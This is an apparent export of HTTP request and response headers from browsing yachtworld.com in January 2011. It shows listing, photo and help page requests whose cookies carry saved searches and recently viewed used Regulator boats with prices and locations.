__utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:45 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/help/searchHelp.jsp?ybw= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:02 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:23:10 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 54845
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/boatMergedDetails.jsp?boat_id=2266476&ybw=&units=Feet¤cy=USD&access=Public&listing_id=53549&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:36 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 21:44:50 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:20:23 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 91235
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:55 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/photoGallery.jsp?slim=quick¤cy=USD&units=Feet&seo=0&checked_boats=2266476&boat_id=2266476&back=/core/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&boat_id=2266476 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:18 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 21:44:50 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:27:30 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 21706
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachts&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:04 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/pl_boat_detail.jsp?sponsored=true&units=Feet&checked_boats=2212114&slim=broker&&hosturl=denisonyachtsales&ywo=denisonyachtsales HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 